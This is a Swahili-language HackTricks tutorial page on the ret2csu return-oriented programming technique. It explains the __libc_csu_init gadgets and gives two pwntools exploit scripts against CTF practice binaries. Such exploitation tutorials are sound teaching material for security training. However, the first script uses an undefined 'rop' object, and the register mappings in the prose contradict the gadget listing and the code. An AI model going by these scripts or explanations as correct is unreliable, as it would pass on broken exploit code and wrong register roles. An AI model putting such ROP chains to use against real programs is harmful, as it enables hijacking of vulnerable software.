Ret2csu

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

ret2csu ni mbinu ya kudukua inayotumiwa unapojaribu kuchukua udhibiti wa programu lakini huwezi kupata gadgets unazotumia kawaida kudhibiti tabia ya programu.

Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa kwa ajili ya kusimamia jinsi sehemu tofauti za programu zinavyozungumza na nyingine. Kati ya kazi hizi kuna vito vya thamani vinavyoweza kutenda kama gadgets zetu zilizopotea, hasa moja inayoitwa __libc_csu_init.

Vito Vya Ajabu katika __libc_csu_init

Katika __libc_csu_init, kuna mfululizo wa maagizo (gadgets) ya kutiliwa maanani:

  1. Mfululizo wa kwanza unaturuhusu kuweka thamani katika rejista kadhaa (rbx, rbp, r12, r13, r14, r15). Hizi ni kama nafasi ambapo tunaweza kuhifadhi nambari au anwani tunazotaka kutumia baadaye.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
  1. Kifaa hiki kinatuwezesha kudhibiti hizi rejista kwa kuzitoa thamani kwenye steki na kuziweka ndani yake.

  2. Mfuatano wa pili hutumia thamani tulizoweka kufanya mambo kadhaa:

    • Kuhamisha thamani maalum kwenye rejista nyingine, kuzifanya ziwe tayari kwetu kutumia kama parameta katika kazi.

    • Kufanya wito kwenye eneo lililopangwa kwa kuongeza thamani katika r15 na rbx, kisha kuzidisha rbx mara 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Labda hujui anwani yoyote ya kuandika hapo na unahitaji maagizo ya ret. Kumbuka kuwa kifaa cha pili pia kitamalizika kwa ret, lakini utahitaji kukutana na hali fulani ili kuifikia:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Masharti yatakuwa:

  • [r12 + rbx*8] lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa hakuna wazo na hakuna pie, unaweza tu kutumia kazi ya _init):

  • Ikiwa _init iko kwenye 0x400560, tumia GEF kutafuta kidude kwenye kumbukumbu kinachoelekeza kwake na ufanye [r12 + rbx*8] iwe anwani yenye kidude kinachoelekeza kwa _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp na rbx lazima iwe na thamani sawa ili kuepuka kuruka

  • Kuna pops zilizopuuzwa ambazo unahitaji kuzingatia

RDI na RSI

Njia nyingine ya kudhibiti rdi na rsi kutoka kwa kifaa cha ret2csu ni kwa kufikia vipimo maalum:

Angalia ukurasa huu kwa habari zaidi:

pageBROP - Blind Return Oriented Programming

Mfano

Kutumia simu

Fikiria unataka kufanya syscall au kuita kazi kama vile write() lakini unahitaji thamani maalum katika rejista za rdx na rsi kama paramita. Kawaida, ungeangalia vifaa vya kielelezo ambavyo hupanga rejista hizi moja kwa moja, lakini huwezi kupata yoyote.

Hapa ndipo ret2csu inapoingia kucheza:

  1. Weka Rejista: Tumia kifaa cha kichawi cha kwanza kupata thamani kutoka kwenye steki na kuingiza kwenye rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.

  2. Tumia Kifaa cha Pili: Ukiwa na rejista hizo zilizowekwa, tumia kifaa cha pili. Hii inakuruhusu kuhamisha thamani zako zilizochaguliwa kwenye rdx na rsi (kutoka r14 na r13, mtawalia), kuandaa paramita kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti r15 na rbx, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayohesabu na kuweka katika [r15 + rbx*8].

Una mfano ukitumia mbinu hii na kuiweka wazi hapa, na hii ndio shambulio la mwisho lililotumika:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Tafadhali elewa kuwa shambulio lililopita halikusudiwi kufanya RCE, lilikuwa linataka tu kuita kazi iliyoitwa win (ikichukua anwani ya win kutoka stdin ikitoa wito wa gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani 0xdeadbeefcafed00d.

Kupitisha wito na kufikia ret

Shambulio lifuatalo lilichimbuliwa kutoka kwenye ukurasa huu ambapo ret2csu inatumika lakini badala ya kutumia wito, inapitisha mikataba na kufikia ret baada ya wito:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Kwa nini usitumie libc Moja kwa Moja?

Kawaida kesi hizi pia ni dhaifu kwa ret2plt + ret2lib, lakini mara kwa mara unahitaji kudhibiti vigezo zaidi kuliko inavyoweza kudhibitiwa kwa urahisi na vifaa unavyopata moja kwa moja katika libc. Kwa mfano, kazi ya write() inahitaji vigezo vitatu, na kupata vifaa vya kuweka hivi moja kwa moja huenda sio rahisi.

Last updated